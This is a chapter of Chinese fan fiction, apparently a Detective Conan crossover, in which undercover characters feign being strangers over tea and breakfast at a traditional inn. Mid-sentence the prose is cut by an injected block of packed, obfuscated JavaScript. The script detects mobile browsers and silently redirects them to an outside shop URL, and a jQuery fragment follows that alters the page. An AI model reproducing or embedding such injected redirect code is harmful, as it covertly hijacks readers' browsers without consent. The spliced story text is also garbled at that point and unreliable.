小町文夏羞红着脸小步地跑了,诸伏高明顾及着她背后聊天结果被正主当面发现的心情,没有多说什么。
倒是真狩朔猝不及防,目光追着她离开的背影,脱口接了句,“小町小姐,那我们的早餐……”
落在木质回廊上“嗒嗒”的脚步声一顿,然后小町文夏跑得更快了。
“噗嗤。”
真狩朔似乎听见有人在笑。
黑发博士回过头,远处的微风将竹叶的沙沙声从远到近地推到耳边,晃动的光影流转在猫眼青年的眉眼间,将他的轮廓模糊又清晰地展现在真狩朔眼前。
他也对着两人举杯示意。
“一起来喝一杯吗?”
……
只不过说实话,景光你这幅模样真的很像是邀请我俩喝酒。
真狩朔略微后撤左脚,然后屈膝跪坐了下来,练了快二十年剑道的他做这一套动作十分优雅流畅。身着西装革履的诸伏高明也是坐姿端正,背脊笔直。
如此衬托得对面两人简直是坐没坐相,散漫至极。
等一下等一下,难道我们现在要假装像陌生人一样说话吗?
这么说我们明明只有四个人,却身怀八个身份?真狩朔的指尖相对成八字形,条件反射地摆到了大腿上,而眼神还在直愣愣地看着桌面上摆放着的茶具。
降谷零却没选择用他的安室透身份,反手打出了波本身份牌。
金发青年一只手后撑着榻榻米,他抬起下巴,微微活动了一下支起来的那条腿,表情玩味,“二位见了面怎么不说话?不是对我很好奇吗?”
他坐在阴影处,阳光只照到他微微探出的脚尖,降谷零的茶水已经空了,但他依旧用指尖把玩着小巧的茶杯,似笑非笑。
错愕的真狩朔有些恍惚,不晓得降谷零这是在干什么。你的安室透人设不是温和的服务生吗?
而后又是一个念头冒了出来,他怎么感觉只是说句话的功夫……
降谷连眼睛的颜色都变了……?
但他身边的诸伏高明却先开口了,“好问则裕,自用则小。”(注1)
凤眼警官的声音和缓,说话的语气也是不紧不慢的,他抬手拿起茶夹,夹取了两个新杯子。公道杯中还有些茶,他手腕一挑全倒进了茶盘里,阳光迎面而来落在他还带这些笑意的脸上,只觉得和这幅古典场景相得益彰。
诸伏高明听着陈茶顺着排水管流进水盂的声音,这才执起了茶壶,重新倒茶。
“人非生而知之者,想必这位先生也不会因为一些好奇心而生气的。”诸伏高明道。
降谷零也将手中的茶杯重新放回了茶盘上,发出了一声轻响,他堪称精致的面部终于从阴影中露出。
果然,刚才是看错了,降谷零的眼睛颜色一直是灰紫色的。
真狩朔的手比脑子快,他先起手端起了新斟的茶,垂下眼睛轻抿一口。
他向来喝不惯这个,只是因为这是诸伏高明亲自倒的才顺手端了起来。而他的脑子里则还在想刚刚诸伏高明说的那两句古语是什么意思。
不知道降谷那家伙听没听懂高明哥叽里咕噜在说啥。
反正他是没懂。
算了降谷零从小国文成绩就比他好,他闲得没事担心这个干嘛,那家伙听不懂最好。
他没注意到的是,见他抢先一步把自己的茶杯拿走就喝,方才似乎还在对峙的降谷零和诸伏高明都露出了无语和无奈的神情。
真狩朔不想演戏,他觉着既然诸伏高明开口了,那他就不用费心去想那些有的没的了。于是他轻轻挪动了一下被压着的脚腕,只想着这时候要是能穿着道服,借着宽大的衣袖也能稍微放松下坐姿。
而正神游的黑发博士,就在这时用目光撇过了靠着墙壁不发一言、沉默地像背景板的诸伏景光。
诸伏景光绷着一张脸,他天然上扬的眉眼配上满下巴的胡茬显得十分有威慑力,真狩朔上上下下的打量着他。
不知道经历了什么,幼驯染的身形好像大了好几号,皮肤也黑了不止一个度。这大概就是他方才举杯邀请品茗,却像是邀请一起喝酒的原因。
他斜靠在绘有细纹图腾的墙面上,对上真狩朔目光时露出了一个似笑非笑的神情。
真狩朔猜他是不知道自己该哭还是该笑。
就在这时真狩朔忽然灵光一闪,恍然明白了为什么现在会是这种气氛了。
只是还没等真狩朔有所反应,打算说些什么时。
“渡边先生、藤原先生。”廊下传来了呼唤声。
伴随着和室另一侧拉门被拉开的声音,一位看不出年岁的老妇人出现在拉门后,首先看到的就是她那一头被打理得整整齐齐,盘在脑后的银发。
她跪坐在地,优雅而坚定地前倾身体,行了一个标准的座礼。
“请允许我来为您们布置早餐,文夏那孩子方才实在太过失礼,老身已经训诫过她了,还请您们原谅她的所作所为。”
真狩朔连忙放下茶杯,他和诸伏高明快速地对视了一眼,两人齐齐对她还礼。
“哪里哪里。”
“您多礼了。”
白马由姬这才缓缓起身,脱下木屐走进室内。她的身上带着一种上世纪留下的气质,但要是用笼统的“大和抚子”来形容这位老人又觉得不够沉淀,她将食盒轻轻放在榻榻米上,又用双手将里面小碟装的食物一份份地取出。
十分优雅,却十分缓慢……
四人面面相觑,就连诸伏高明也是大气都不敢出。
“真是新鲜的秋刀鱼啊。”诸伏景光打破了安静,他调整了一下姿势,从斜靠着变成了盘腿而坐,率先移到了机案旁。
“是,这四分秋刀鱼是特地准备来为之前的唐突来赔罪的,还请客人们不要嫌弃才是。”白马由姬道。
“小事而已,那我就却之不恭了。”降谷零这个受害者先发话了。
也不知道他的职业道德到底是有多高,居然还能在这么端庄的场合依旧保持着他那乱七八糟的坐姿。
真狩朔一边在心中吐槽,一边开口了:“请不要在意,是我太好奇才导致了这样的结果。也请您向小町小姐转达我的歉意。”
“失礼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116660|195897||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
之处还望海涵。”诸伏高明也道。
五人之间又相互寒暄了几句,就在真狩朔被这成串成串的加长敬语搞的头皮发麻时,终于有其他客人来就餐了。
“由姬老板,早餐还要多久才好?”
白马由姬循声望去露出了一个微笑,她再次对着四人行礼,“那么下次再聊,四位请慢用,容老身先告辞了。”
看着白马由姬离开的背影,真狩朔忍不住擦了一把额头上不存在的细汗,“原来这位就是白马旅店的老板。”
“白马家族在此地已经有百年的历史,她们世家经营着白马旅店,只不过据说由姬老板已经是白马家的最后一代传人了。”诸伏景光也目送着白马由姬的身影,解释道。
“她们?”真狩朔反问。
猫眼青年颔首,“白马家从上数四代开始便是只有女继承人,为了守住白马旅店所以对外只招赘婿。”
真狩朔挑了挑眉,不置可否。
倒是诸伏高明面不改色地开口了,“这位是?”
“失礼了,在下古宫有光。三天前刚刚在此住下,所以倒是了解了些细枝末节。”
猫眼青年的面上竟然看不出一丝破绽,他的脸上也依旧带着一抹笑,却和真狩朔的记忆中截然不同。
要不是先前看到了无旁人在场时他脸上的一丝尴尬,真狩朔真会觉得,或许世界上真有和诸伏景光长得一模一样的人。
于是三人流畅地互换了姓名,轮到真狩朔时他狠狠掐紧手心,这才干巴的吐出了七个字,“藤原望,请多指教。”
警察和公安实在是太有实力了。
为什么可以在熟人面前假装不认识地演戏,还能不笑场?
降谷零谴责地看了真狩朔一眼。
向来在降谷零面前很刚的黑发博士羞愧地低下了头。
肩头传来安慰地轻拍,真狩朔对上了诸伏高明的目光。
“咳。”诸伏景光清了一下嗓子,“渡边先生刚才说你们过来是因为昭瑛町的祭祀仪式?”
“不错,我和藤原君都是古代祭祀爱好者。听说昭瑛町的巫女祭祀很特别,这才特地过来。”诸伏高明道。
诸伏景光微微一笑,“渡边先生看起来是上班族?”
“我是一名律师。”诸伏高明撒起谎来也面不改色。
“怪不得渡边先生这样一副打扮。”诸伏景光用目光扫过了诸伏高明的西装和风衣。
“见笑了,今早处理完工作就过来了。”诸伏高明也一样滴水不漏,反问道:“听古宫先生刚才的话,难道你不是为了祭典来的吗?”
“昭瑛町旁边的瑛山曾是有名的矿山,我对地质学有些兴趣。”诸伏景光的目光微微一动,“不过既然听说了今晚有难得一见的祭典活动,那我也定要去看看。”
两兄弟对视了一眼,似乎对上了暗号,语闭只微笑着垂眸喝茶,不再交流。
真狩朔大概听懂了,于是他放下了筷子,感觉是时候撤退了。
注1:出自《尚书》含义:喜欢请教发问,知识就会渊博;自以为是,知识就会有限。